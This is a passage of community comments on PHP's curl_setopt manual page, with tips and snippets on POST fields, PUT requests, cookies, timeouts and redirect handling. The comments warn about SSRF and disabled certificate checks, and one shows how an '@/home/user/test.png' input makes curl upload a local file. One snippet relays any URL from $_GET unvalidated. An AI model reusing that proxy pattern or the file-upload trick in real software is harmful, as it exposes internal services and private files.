            [size] => 14
        )

)
?>

Since the request is an array (and not a string), curl will automatically encode the data as "multipart/form-data".
Please be aware that if you pass an invalid file path to CURLFile, setting the CURLOPT_POSTFIELDS option will fail.
So if you are using curl_setopt_array for setting the options at once, according to the manual, "If an option could not be successfully set, FALSE is immediately returned, ignoring any future options in the options array.".
So you should make sure that the file exists or set CURLOPT_POSTFIELDS with curl_setopt() and check if it returns false and act accordingly.
eric dot van dot eldik at peercode dot nl 13-Nov-2018 01:21
When you get this error using a PUT request: "SSL read: error:00000000:lib(0):func(0):reason(0), errno 104")

It could be caused by:
<?php
curl_setopt($ch, CURLOPT_PUT, TRUE);
?>

Instead try:
<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
?>
joel at mojamail dot com 16-Jan-2018 11:57
In the long documentation, it's easy to miss the fact that CURLOPT_POSTFIELDS will set the Content-Type to "multipart/form-data" (instead of the usual "application/x-www-form-urlencoded") IFF you supply an array (instead of a query string)!

Some servers will return weird errors (like "SSL read: error:00000000:lib(0):func(0):reason(0), errno 104") for the wrong Content-Type, and you may waste many hours of time trying to figure out why!
ohcc at 163 dot com 04-Dec-2017 02:59
This is howto upload an existing file to an FTP server with cURL in PHP.

You should remember that CURLOPT_URL should contain the file's basename to save on the FTP server. For example, if you upload hello.txt to ftp://www.wuxiancheng.cn/text/, CURLOPT_URL should be ftp://www.wuxiancheng.cn/text/hello.txt rather than ftp://www.wuxiancheng.cn/text/, otherwise you will get an error message like "Uploading to a URL without a file name! " when you call curl_error();

<?php
    $ch = curl_init();
    $filepath = 'D:\Web\www\wuxiancheng.cn\hello.txt';
    $basename = pathInfo($filepath, PATHINFO_BASENAME);
    $filesize = fileSize($filepath);
    curl_setopt_array(
        $ch,
        array(
            CURLOPT_URL => 'ftp://www.wuxiancheng.cn/text/' . $basename,
            CURLOPT_USERPWD => 'USERNAME:PASSWORD',
            CURLOPT_PROTOCOLS => CURLPROTO_FTP,
            CURLOPT_UPLOAD => true,
            CURLOPT_INFILE => $filepath,
            CURLOPT_INFILESIZE => $filesize,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
        )
    );
    curl_exec($ch);
    $message = curl_errno($ch) === CURLE_OK ? 'success' : 'failure';
    echo $message;
?>
cmatiasvillanueva at gmail dot com 15-Nov-2017 07:54
What is not mentioned in the documentation is that if you want to set  a local-port or local-port-range to establish a connection is possible by adding   CURLOPT_LOCALPORT and CURLOPT_LOCALPORTRANGE options.

Ex:
$conn=curl_init ('example.com');
curl_setopt($conn, CURLOPT_LOCALPORT, 35000);
curl_setopt($conn, CURLOPT_LOCALPORTRANGE, 200);

CURLOPT_LOCALPORT: This sets the local port number of the socket used for the connection.

CURLOPT_LOCALPORTRANGE:  The range argument is the number of attempts libcurl will make to find a working local port number. It starts with the given CURLOPT_LOCALPORT and adds one to the number for each retry. Setting this option to 1 or below will make libcurl do only one try for the exact port number.

Interface can be also configured using CURLOPT_INTERFACE:

Ex:

curl_setopt($conn,  CURLOPT_INTERFACE, "eth1");
markandrewslade at gmail dot com 07-Mar-2017 03:22
Contrary to the documentation, CURLOPT_STDERR should be set to a handle to the file you want to write to, not the file's location.
joey 09-Mar-2016 06:54
It is important that anyone working with cURL and PHP keep in mind that not all of the CURLOPT and CURLINFO constants are documented. I always recommend reading the cURL documentation directly as it sometimes contains better information. The cURL API in tends to be fubar as well so do not expect things to be where you would normally logically look for them.

curl is especially difficult to work with when it comes to cookies. So I will talk about what I found with PHP 5.6 and curl 7.26.

If you want to manage cookies in memory without using files including reading, writing and clearing custom cookies then continue reading.

To start with, the way to enable in memory only cookies associated with a cURL handle you should use:

    curl_setopt($curl, CURLOPT_COOKIEFILE, "");

cURL likes to use magic strings in options as special commands. Rather than having an option to enable the cookie engine in memory it uses a magic string to do that. Although vaguely the documentation here mentions this however most people like me wouldn't even read that because a COOKIEFILE is the complete opposite of what we want.

To get the cookies for a curl handle you can use:

    curl_getinfo($curl, CURLINFO_COOKIELIST);

This will give an array containing a string for each cookie. It is tab delimited and unfortunately you will have to parse it yourself if you want to do anything beyond copying the cookies.

To clear the in memory cookies for a cURL handle you can use:

    curl_setopt($curl, CURLOPT_COOKIELIST, "ALL");

This is a magic string. There are others in the cURL documentation. If a magic string isn't used, this field should take a cookie in the same string format as in getinfo for the cookielist constant. This can be used to delete individual cookies although it's not the most elegant API for doing so.

For copying cookies I recommend using curl_share_init.

You can also copy cookies from one handle to another like so:

    foreach(curl_getinfo($curl_a, CURLINFO_COOKIELIST) as $cookie_line)
        curl_setopt($curl, CURLOPT_COOKIELIST, $cookie_line);

An inelegant way to delete a cookie would be to skip the one you don't want.

I only recommend using COOKIELIST with magic strings because the cookie format is not secure or stable. You can inject tabs into at least path and name so it becomes impossible to parse reliably. If you must parse this then to keep it secure I recommend prohibiting more than 6 tabs in the content which probably isn't a big loss to most people.

A the absolute minimum for validation I would suggest:

    /^([^\t]+\t){5}[^\t]+$/D

Here is the format:

    #define SEP  "\t"  /* Tab separates the fields */

    char *my_cookie =
      "example.com"    /* Hostname */
      SEP "FALSE"      /* Include subdomains */
      SEP "/"          /* Path */
      SEP "FALSE"      /* Secure */
      SEP "0"          /* Expiry in epoch time format. 0 == Session */
      SEP "foo"        /* Name */
      SEP "bar";       /* Value */
joelhy 04-Jan-2016 10:19
Please notice that CURLINFO_HEADER_OUT and CURLOPT_VERBOSE option does not work together:
"When CURLINFO_HEADER_OUT is set to TRUE than CURLOPT_VERBOSE does not work."(from https://bugs.php.net/bug.php?id=65348).
This took me an hour or two to figure it out.
jancister at gmail dot com 12-Mar-2015 04:09
Please note that if you want to handle progress using CURLOPT_PROGRESSFUNCTION option, you need to take into consideration what version of PHP are you using. Since version 5.5.0, compatibility-breaking change was introduced in number/order of the arguments passed to the callback function, and cURL resource is now passed as first argument.

Prior to version 5.5.0:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
    // Handle progress
}
?>

From version 5.5.0:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($resource, $download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
    // Handle progress
}
?>

However, if your code needs to be compatible with PHP version both before and after 5.5.0, consider adding a version check:
<?php
// ...
curl_setopt($resource, CURLOPT_PROGRESSFUNCTION, 'progressCallback');
curl_setopt($resource, CURLOPT_NOPROGRESS, false);
// ...
function progressCallback($resource, $download_size = 0, $downloaded = 0, $upload_size = 0, $uploaded = 0)
{
   /**
    * $resource parameter was added in version 5.5.0 breaking backwards compatibility;
    * if we are using PHP version lower than 5.5.0, we need to shift the arguments
    * @see http://php.net/manual/en/function.curl-setopt.php#refsect1-function.curl-setopt-changelog
    */
    if (version_compare(PHP_VERSION, '5.5.0') < 0) {
        $uploaded = $upload_size;
        $upload_size = $downloaded;
        $downloaded = $download_size;
        $download_size = $resource;
    }

    // Handle progress
}
?>
Aaron Wells 24-Nov-2014 11:34
If you use cURL to fetch user-supplied URLs (for instance, in a web-based RSS aggregator), be aware of the risk of server-side request forgery (SSRF). This is an attack where the user takes advantage of the fact that cURL requests are sent from the web server itself, to reach network locations they wouldn't be able to reach from outside the network.

For instance, they could enter a "http://localhost" URL, and access things on the web server via "localhost". Or, "ftp://localhost". cURL supports a lot of protocols!

If you are using CURLOPT_FOLLOWLOCATION, the malicious URL could be in a redirect from the original request. cURL also will follow redirect headers to other protocols! (303 See Other; Location: ftp://localhost).

So if you're using cURL with user-supplied URLs, at the very least use CURLOPT_PROTOCOLS (which also sets CURLOPT_REDIR_PROTOCOLS), and either disable CURLOPT_FOLLOWLOCATION or use the "SafeCurl" library to safely follow redirects.
Martin K. 24-Feb-2014 05:36
If you only want to enable cookie handling and you don't need to save the cookies for a separate session, just set CURLOPT_COOKIEFILE to an empty string.  I was given the advice to use php://memory but that did not seem to have the same effect.

Although this is stated in the documentation I thought it was worth reiterating since it cause me so much trouble.
badman 15-Nov-2013 10:36
Many hosters use PHP safe_mode or/and open_basedir, so you can't use CURLOPT_FOLLOWLOCATION. If you try, you see message like this:
CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or an open_basedir is set in [you script name & path] on line XXX

First, I try to use zsalab function (http://us2.php.net/manual/en/function.curl-setopt.php#102121) from this page, but for some reason it did not work properly. So, I wrote my own.

It can be use instead of curl_exec. If server HTTP response codes is 30x, function will forward the request as long as the response is not different from 30x (for example, 200 Ok). Also you can use POST.

function curlExec(/* Array */$curlOptions='', /* Array */$curlHeaders='', /* Array */$postFields='')
{
  $newUrl = '';
  $maxRedirection = 10;
  do
  {
    if ($maxRedirection<1) die('Error: reached the limit of redirections');

    $ch = curl_init();
    if (!empty($curlOptions)) curl_setopt_array($ch, $curlOptions);
    if (!empty($curlHeaders)) curl_setopt($ch, CURLOPT_HTTPHEADER, $curlHeaders);
    if (!empty($postFields))
    {
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    }

    if (!empty($newUrl)) curl_setopt($ch, CURLOPT_URL, $newUrl); // redirect needed

    $curlResult = curl_exec($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($code == 301 || $code == 302 || $code == 303 || $code == 307)
    {
      preg_match('/Location:(.*?)\n/', $curlResult, $matches);
      $newUrl = trim(array_pop($matches));
      curl_close($ch);

      $maxRedirection--;
      continue;
    }
    else // no more redirection
    {
      $code = 0;
      curl_close($ch);
    }
  }
  while($code);
  return $curlResult;
}
shiplu at programmer dot net 01-Jun-2013 06:23
CURLOPT_POST should be set before CURLOPT_POSTFIELDS. Otherwise you might encounter 411 Length required error.

Following code generates "411 Length Required" on nginx/1.1.15
<?php
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
curl_setopt ($ch, CURLOPT_POST, 1);
?>

But this one works.

<?php
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postfields);
?>
Madcat 06-May-2013 03:14
If you have a mixture of strings starting with @ (at character) and files in CURLOPT_POSTFIELDS you have a problem (such as posting a tweet with attached media) because curl tries to interpret anything starting with @ as a file.

<?php

$postfields = array(
    'upload_file' => '@file_to_upload.png',
    'upload_text' => '@text_to_upload'
);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://example.com/upload-test');
curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
curl_exec($curl);
curl_close($curl);

?>

To get around this, prepend the text string with the NULL character like so:

<?php
    $postfields = array(
        'upload_file' => '@file_to_upload.png',
        'upload_text' => sprintf("\0%s", '@text_to_upload')
    );
?>

Original source: http://bit.ly/AntMle
rmckay at webaware dot com dot au 24-Oct-2012 12:21
Please everyone, stop setting CURLOPT_SSL_VERIFYPEER to false or 0. If your PHP installation doesn't have an up-to-date CA root certificate bundle, download the one at the curl website and save it on your server:

http://curl.haxx.se/docs/caextract.html

Then set a path to it in your php.ini file, e.g. on Windows:

curl.cainfo=c:\php\cacert.pem

Turning off CURLOPT_SSL_VERIFYPEER allows man in the middle (MITM) attacks, which you don't want!
regan dot corey at gmail dot com 22-Oct-2012 10:22
I spent a couple of days trying to POST a multi-dimensional array of form fields, including a file upload, to a remote server to update a product. Here are the breakthroughs that FINALLY allowed the script to run as desired.

Firstly, the HTML form used input names like these:
<input type="text" name="product[name]" />
<input type="text" name="product[cost]" />
<input type="file" name="product[thumbnail]" />
in conjunction with two other form inputs not part of the product array
<input type="text" name="method" value="put" />
<input type="text" name="mode" />

I used several cURL options, but the only two (other than URL) that mattered were:
curl_setopt($handle, CURLOPT_POST, true);
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);
Pretty standard so far.
Note: headers didn't need to be set, cURL automatically sets headers (like content-type: multipart/form-data; content-length...) when you pass an array into CURLOPT_POSTFIELDS.
Note: even though this is supposed to be a PUT command through an HTTP POST form, no special PUT options needed to be passed natively through cURL. Options such as
curl_setopt($handle, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT', 'Content-Length: ' . strlen($fields)));
or
curl_setopt($handle, CURLOPT_PUT, true);
or
curl_setopt($handle, CURLOPT_CUSTOMREQUEST, "PUT);
were not needed to make the code work.

The fields I wanted to pass through cURL were arranged into an array something like this:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product" => array("name" => $_POST["product"],
                                        "cost" => $_POST["product"]["cost"],
                                        "thumbnail" => "@{$_FILES["thumbnail"]["tmp_name"]};type={$_FILES["thumbnail"]["type"]}")
                    );

-Notice how the @ precedes the temporary filename, this creates a link so PHP will upload/transfer an actual file instead of just the file name, which would happen if the @ isn't included.
-Notice how I forcefully set the mime-type of the file to upload. I was having issues where images filetypes were defaulting to octet-stream instead of image/png or image/jpeg or whatever the type of the selected image.

I then tried passing $postfields straight into curl_setopt($this->handle, CURLOPT_POSTFIELDS, $postfields); but it didn't work.
I tried using http_build_query($postfields); but that didn't work properly either.
In both cases either the file wouldn't be treated as an actual file and the form data wasn't being sent properly. The problem was HTTP's methods of transmitting arrays. While PHP and other languages can figure out how to handle arrays passed via forms, HTTP isn't quite as sofisticated. I had to rewrite the $postfields array like so:
$postfields = array("method" => $_POST["method"],
                    "mode" => $_POST["mode"],
                    "product[name]" => $_POST["product"],
                    "product[cost]" => $_POST["product"]["cost"],
                    "product[thumbnail]" => "@{$_FILES["thumbnail"]["tmp_name"]}");
curl_setopt($handle, CURLOPT_POSTFIELDS, $postfields);

This, without the use of http_build_query, solved all of my problems. Now the receiving host outputs both $_POST and $_FILES vars correctly.
juozaspo at gmail dot com 25-Sep-2012 08:47
I've created an example that gets the file on url passed to script and outputs it to the browser.

<?php
//get the file (e.g. image) and output it to the browser
$ch = curl_init(); //open curl handle
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //set an url
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //do not output directly, use variable
curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1); //do a binary transfer
curl_setopt($ch, CURLOPT_FAILONERROR, 1); //stop if an error occurred
$file=curl_exec($ch); //store the content in variable
if(!curl_errno($ch))
{
    //send out headers and output
    header ("Content-type: ".curl_getinfo($ch, CURLINFO_CONTENT_TYPE)."");
    header ("Content-Length: ".curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    echo $file;
} else echo 'Curl error: ' . curl_error($ch);
curl_close($ch); //close curl handle
?>

p.s. Make sure that there're no new lines before and after code or script may not work.
qeremy [atta] gmail [dotta] com 03-Aug-2012 08:57
If you are trying to update something on your server and you need to handle this update operation by PUT;

<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
curl_setopt($ch, CURLOPT_PUT, 1);
?>

are "useless" without;

<?php
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
?>

Example;

Updating a book data in database identified by "id 1";

--cURL Part--
<?php
$data = http_build_query($_POST);
// or
$data = http_build_query(array(
   'name'  => 'PHP in Action',
   'price' => 10.9
));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://api.localhost/rest/books/1");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT"); // no need anymore
// or
// curl_setopt($ch, CURLOPT_PUT, 1); // no need anymore
curl_setopt($ch, CURLOPT_HTTPHEADER, array('X-HTTP-Method-Override: PUT'));
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$ce = curl_exec($ch);
curl_close($ch);
print_r($ce);
?>

--API class--
<?php
public function putAction() {
    echo "putAction() -> id: ". $this->_getParam('id') ."\n";
    print_r($_POST);
    // do stuff with post data
    ...
?>

--Output--
putAction() -> id: 15
Array
(
    [name] => PHP in Action
    [price] => 10.9
)

---Keywords--
rest, restfull api, restfull put, curl put, curl customrequest put
adrian at foeder dot de 06-Jul-2012 07:37
if you want to do a GET request with additional body data it will become tricky not to implicitly change the request to a POST, like many notes below correctly state.
So to do the analogy of command line's

curl -XGET 'http://example.org?foo=bar' -d '<baz>some additional data</baz>'

in PHP you'll do, besides your other necessary stuff,

<?php
    curl_setopt($curlHandle, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($curlHandle, CURLOPT_POSTFIELDS, '<baz>some additional data</baz>');
?>

during my experiments, every other "similar" way, like e.g. CURLOPT_HTTPGET, didn't send the additional data or fell into POST.
Joey Hewitt 17-Apr-2012 10:52
Note that if you put a certificate chain in a PEM file, the certificates need to be ordered so that each certificate is followed by its issuer (i.e., root last.)

Source: http://publib.boulder.ibm.com/tividd/td/ITIM/SC32-1493-00/en_US/HTML/im451_config09.htm
anonymous 03-Apr-2012 03:55
This may be not obvious, but if you specify the CURLOPT_POSTFIELDS and don't specify the CURLOPT_POST - it will still send POST, not GET (as you might think - since GET is default).
So the line:

curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

is synonym to:

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

Even if you set the options like this (in this order):

curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

it will send POST, since CURLOPT_POSTFIELDS is latter.
So if you want GET - make sure you don't have CURLOPT_POSTFIELDS specified somewhere.
mw+php dot net at lw-systems dot de 31-Mar-2012 06:45
The description of the use of the CURLOPT_POSTFIELDS option should be emphasize, that using POST with HTTP/1.1 with cURL implies the use of a "Expect: 100-continue" header. Some web servers will not understand the handling of chunked transfer of post data.

To disable this behavior one must disable the use of the "Expect:" header with

    curl_setopt($ch, CURLOPT_HTTPHEADER,array("Expect:"));
Adam Monsen 10-Jan-2012 04:36
CURLOPT_POST must be left unset if you want the Content-Type header set to "multipart/form-data" (e.g., when CURLOPT_POSTFIELDS is an array). If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to TRUE, Content-Length will be -1 and most sane servers will reject the request. If you set CURLOPT_POSTFIELDS to an array and have CURLOPT_POST set to FALSE, cURL will send a GET request.
Steve Kamerman 24-Jun-2011 11:47
If you want cURL to timeout in less than one second, you can use CURLOPT_TIMEOUT_MS, although there is a bug/"feature"  on "Unix-like systems" that causes libcurl to timeout immediately if the value is < 1000 ms with the error "cURL Error (28): Timeout was reached".  The explanation for this behavior is:

"If libcurl is built to use the standard system name resolver, that portion of the transfer will still use full-second resolution for timeouts with a minimum timeout allowed of one second."

What this means to PHP developers is "You can use this function without testing it first, because you can't tell if libcurl is using the standard system name resolver (but you can be pretty sure it is)"

The problem is that on (Li|U)nix, when libcurl uses the standard name resolver, a SIGALRM is raised during name resolution which libcurl thinks is the timeout alarm.

The solution is to disable signals using CURLOPT_NOSIGNAL.  Here's an example script that requests itself causing a 10-second delay so you can test timeouts:

<?php
if (!isset($_GET['foo'])) {
        // Client
        $ch = curl_init('http://localhost/test/test_timeout.php?foo=bar');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_NOSIGNAL, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT_MS, 200);
        $data = curl_exec($ch);
        $curl_errno = curl_errno($ch);
        $curl_error = curl_error($ch);
        curl_close($ch);

        if ($curl_errno > 0) {
                echo "cURL Error ($curl_errno): $curl_error\n";
        } else {
                echo "Data received: $data\n";
        }
} else {
        // Server
        sleep(10);
        echo "Done.";
}
?>
PHP at RHaworth dot net 02-Apr-2011 02:31
When CURLOPT_FOLLOWLOCATION and CURLOPT_HEADER are both true and redirect/s have happened then the header returned by curl_exec() will contain all the headers in the redirect chain in the order they were encountered.
S\ 18-Feb-2011 11:04
When using CURLOPT_POSTFIELDS with an array as parameter, you have to pay high attention to user input. Unvalidated user input will lead to serious security issues.

<?php

/**
 * test.php:
 */
$ch = curl_init('http://example.com');

curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'foo' => $_GET['bar']
));

curl_exec($ch);

?>

Requesting "test.php?bar=@/home/user/test.png" will send "test.png" to example.com.
Make sure you remove the leading "@" from user input.
zsalab 27-Jan-2011 05:12
Handling redirections with curl if safe_mode or open_basedir is enabled. The function working transparent, no problem with header and returntransfer options. You can handle the max redirection with the optional second argument (the function is set the variable to zero if max redirection exceeded).
Second parameter values:
- maxredirect is null or not set: redirect maximum five time, after raise PHP warning
- maxredirect is greather then zero: no raiser error, but parameter variable set to zero
- maxredirect is less or equal zero: no follow redirections

<?php
function curl_exec_follow(/*resource*/ $ch, /*int*/ &$maxredirect = null) {
    $mr = $maxredirect === null ? 5 : intval($maxredirect);
    if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $mr > 0);
        curl_setopt($ch, CURLOPT_MAXREDIRS, $mr);
    } else {
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
        if ($mr > 0) {
            $newurl = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);

            $rch = curl_copy_handle($ch);
            curl_setopt($rch, CURLOPT_HEADER, true);
            curl_setopt($rch, CURLOPT_NOBODY, true);
            curl_setopt($rch, CURLOPT_FORBID_REUSE, false);
            curl_setopt($rch, CURLOPT_RETURNTRANSFER, true);
            do {
                curl_setopt($rch, CURLOPT_URL, $newurl);
                $header = curl_exec($rch);
                if (curl_errno($rch)) {
                    $code = 0;
                } else {
                    $code = curl_getinfo($rch, CURLINFO_HTTP_CODE);
                    if ($code == 301 || $code == 302) {
                        preg_match('/Location:(.*?)\n/', $header, $matches);
                        $newurl = trim(array_pop($matches));
                    } else {
                        $code = 0;
                    }
                }
            } while ($code && --$mr);
            curl_close($rch);
            if (!$mr) {
                if ($maxredirect === null) {
                    trigger_error('Too many redirects. When following redirects, libcurl hit the maximum amount.', E_USER_WARNING);
                } else {
                    $maxredirect = 0;
                }
                return false;
            }
            curl_setopt($ch, CURLOPT_URL, $newurl);
        }
    }
    return curl_exec($ch);
}
?>
gskluzacek at gmail dot com 26-Jan-2011 01:42
FYI... unless you specifically set the user agent, no user agent will be sent in your request as there is no default value like some of the other options.

As others have said, not sending a user agent may cause you to not  get the results that you expected, e.g., 0 byte length content, different content, etc.
scy-phpmanual at scytale dot name 29-Nov-2010 04:01
In order to reset CURLOPT_HTTPHEADER, set it to array(). The cURL C API says you should set it to NULL, but that doesn't work in the PHP wrapper.
joeterranova at gmail dot com 26-Jul-2010 12:57
It appears that setting CURLOPT_FILE before setting CURLOPT_RETURNTRANSFER doesn't work, presumably because CURLOPT_FILE depends on CURLOPT_RETURNTRANSFER being set.

So do this:

<?php
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FILE, $fp);
?>

not this:

<?php
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
?>
JScott jscott401 at gmail dot com 18-Jun-2010 07:29
Some additional notes for curlopt_writefunction. I struggled with this at first because it really isn't documented very well.

When you write a callback function and use it with curlopt_writefunction it will be called MULTIPLE times. Your function MUST return the ammount of data written to it each time. It is very picky about this. Here is a snippet from my code that may help you

<?php
curl_setopt($this->curl_handle, CURLOPT_WRITEFUNCTION, array($this, "receiveResponse"));

// later on in the class I wrote my receive Response method

private function receiveResponse($curlHandle,$xmldata)
                {
                        $this->responseString = $xmldata;
                        $this->responseXML .=  $this->responseString;
                        $this->length = strlen($xmldata);
                        $this->size += $this->length;
                        return $this->length;

                }
?>

Now I did this for a class. If you aren't doing OOP then you will obviously need to modify this for your own use.

CURL calls your script MULTIPLE times because the data will not always be sent all at once. Were talking internet here so its broken up into packets. You need to take your data and concatenate it all together until it is all written. I was about to pull my damn hair out because I would get broken chunks of XML back from the server and at random lengths. I finally figured out what was going on. Hope this helps
clint at fewbar dot com 16-Apr-2010 02:56
If you have turned on conditional gets on a curl handle, and then for a subsequent request, you don't have a good setting for CURLOPT_TIMEVALUE , you can disable If-Modified-Since checking with:

<?php

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $foo);
curl_setopt($ch, CURLOPT_TIMEVALUE, filemtime($foo_path));
curl_setopt($ch, CURLOPT_TIMECONDITION, CURLOPT_TIMECOND_IFMODIFIEDSINCE);
curl_exec($ch);
// Reuse same curl handle
curl_setopt($ch, CURLOPT_URL, $bar);
curl_setopt($ch, CURLOPT_TIMEVALUE, null); // don't know mtime
curl_setopt($ch, CURLOPT_TIMECONDITION, 0); // set it to 0, turns it off
curl_exec($ch);

?>
julien veneziano 08-Apr-2010 03:56
If you need to send deta in a DELETE request, use:

<?php
$request_body = 'some data';
$ch = curl_init('http://www.example.com');
        curl_setopt($ch, CURLOPT_POSTFIELDS, $request_body);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
        $response = curl_exec($ch);
var_dump($response);
?>
anderseta at gmail dot com 22-Mar-2010 02:48
If you wish to find the size of the file you are streaming and use it as your header this is how:

<?php

function write_function($curl_resource, $string)
{
    if(curl_getinfo($curl_resource, CURLINFO_SIZE_DOWNLOAD) <= 2000)
    {
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Content-Description: File Transfer');
        header("Content-Transfer-Encoding: binary");
        header("Content-Type: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_TYPE)."");
        header("Content-Length: ".curl_getinfo($curl_resource, CURLINFO_CONTENT_LENGTH_DOWNLOAD)."");
    }

    print $string;

    return mb_strlen($string, '8bit');
}

?>

1440 is the the default number of bytes curl will call the write function (BUFFERSIZE does not affect this, i actually think you can not change this value), so it means the headers are going to be set only one time.

write_function must return the exact number of bytes of the string, so you can return a value with mb_strlen.
Ed Cradock 05-Feb-2010 10:47
PUT requests are very simple, just make sure to specify a content-length header and set post fields as a string.

Example:

<?php
function doPut($url, $fields)
{
   $fields = (is_array($fields)) ? http_build_query($fields) : $fields;

   if($ch = curl_init($url))
   {
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
      curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Length: ' . strlen($fields)));
      curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
      curl_exec($ch);

      $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);

      curl_close($ch);

      return (int) $status;
   }
   else
   {
      return false;
   }
}

if(doPut('http://example.com/api/a/b/c', array('foo' => 'bar')) == 200)
   // do something
else
   // do something else.
?>

You can grab the request data on the other side with:

<?php
if($_SERVER['REQUEST_METHOD'] == 'PUT')
{
   parse_str(file_get_contents('php://input'), $requestData);

   // Array ( [foo] => bar )
   print_r($requestData);

   // Do something with data...
}
?>

DELETE  can be done in exactly the same way.
Pawel Antczak 09-Dec-2009 12:07
Hello.
During problems with "CURLOPT_FOLLOWLOCATION cannot be activated when in safe_mode or an open_basedir is set"
I was looking for solution.
I've found few methods on this page, but none of them was good enough, so I made one.
<?php
function curl_redirect_exec($ch, &$redirects, $curlopt_header = false) {
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    if ($http_code == 301 || $http_code == 302) {
        list($header) = explode("\r\n\r\n", $data, 2);
        $matches = array();
        preg_match('/(Location:|URI:)(.*?)\n/', $header, $matches);
        $url = trim(array_pop($matches));
        $url_parsed = parse_url($url);
        if (isset($url_parsed)) {
            curl_setopt($ch, CURLOPT_URL, $url);
            $redirects++;
            return curl_redirect_exec($ch, $redirects);
        }
    }
    if ($curlopt_header)
        return $data;
    else {
        list(,$body) = explode("\r\n\r\n", $data, 2);
        return $body;
    }
}
?>

Main issue in existing functions was lack of information, how many redirects was done.
This one will count it.
First parameter as usual.
Second should be already initialized integer, it will be incremented by number of done redirects.
You can set CURLOPT_HEADER if You need it.
Chris at PureFormSolutions dot com 22-Sep-2009 03:54
I've found that setting CURLOPT_HTTPHEADER more than once will clear out any headers you've set previously with CURLOPT_HTTPHEADER.

Consider the following:
<?php
    # ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Content-Type: text/xml; CHARSET=gb2312",
        "Expect: 100-continue"
    ));

    # ... do some other stuff ...

    curl_setopt($cURL,CURLOPT_HTTPHEADER,array (
        "Accept: application/json"
    ));

    # ...
?>

Both the Content-Type and Expect I set will not be in the outgoing headers, but Accept will.
Tyranoweb 04-Sep-2009 02:42
There is a function to send POST data in page with five parameters :

$post must be an array
$page is the page where POST datas will be send.
$n must be true to continue if they are php redirection (Location: )
$session must be define true if you want to use cookies
$referer must be a link to get a wrong referer or only to have a referer.

<?php
function curl_data_post($post, $page, $n, $session, $referer)
    {
        if(!is_array($post))
        {
         return false;
        }

        $DATA_POST = curl_init();
        curl_setopt($DATA_POST, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($DATA_POST, CURLOPT_URL, $page);
        curl_setopt($DATA_POST, CURLOPT_POST, true);
        if($n)
        {
         curl_setopt($DATA_POST, CURLOPT_FOLLOWLOCATION, true);
        }
        if($session)
        {
         curl_setopt($DATA_POST, CURLOPT_COOKIEFILE, 'cookiefile.txt');
